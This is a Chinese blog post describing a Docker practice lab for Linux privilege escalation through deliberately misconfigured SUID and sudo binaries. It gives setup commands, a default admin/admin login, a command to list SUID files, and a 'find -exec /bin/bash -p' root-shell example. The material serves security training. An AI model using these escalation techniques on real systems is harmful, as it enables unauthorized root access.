Linux提权容器靶场(SUID&SUDO)

admin 2023年4月10日10:08:49评论180 views字数 764阅读2分32秒阅读模式

1、简介

    重新复习docker方面的知识,通过Dockerfile创建一个简单的Linux提权靶场,该靶场支持常见的Linux命令的suid和sudo提权漏洞。提权命令包括如下:

vimbashmorelessnanocpawkwgetsucatfind

Linux提权容器靶场(SUID&SUDO)

# 下载地址https://github.com/netsecli/linux_privileges.git

2、配置方法

    通过Dockerfile打包成新的镜像,并运行镜像即可。如果需要增加其他命令提权,烦请及时提交建议,或者可直接修改dockerfile文件进行添加后重新部署新的镜像。

git clone https://github.com/netsecli/linux_privileges.gitcd linux_privileges/suid_sudodocker build -t vuln_privige:v1.0 .docker run -d -p 2222:22 --name=vulns vuln_privige:v1.0

Linux提权容器靶场(SUID&SUDO)

Linux提权容器靶场(SUID&SUDO)

3、连接容器

    需要以普通用户模拟登录到容器中,已经创建好普通账号admin,密码为admin

    注:仅做安全测试使用,请勿用于生产环境

3.1 通过docker exec直连

docker exec -it vulns /bin/bashsu - admin# 查看拥有的sudo权限sudo -l

Linux提权容器靶场(SUID&SUDO)

    查找suid文件

find / -perm -u=s -type f 2>/dev/null

Linux提权容器靶场(SUID&SUDO)

3.2通过SSH连接

ssh -p 2222 admin@127.0.0.1

Linux提权容器靶场(SUID&SUDO)

提权参考:

https://gtfobins.github.io

参考示例:

find . -exec /bin/bash -p ; -quit

Linux提权容器靶场(SUID&SUDO)

原文始发于微信公众号(安全孺子牛):Linux提权容器靶场(SUID&SUDO)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月10日10:08:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权容器靶场(SUID&SUDO)https://cn-sec.com/archives/1663217.html

发表评论

匿名网友 填写信息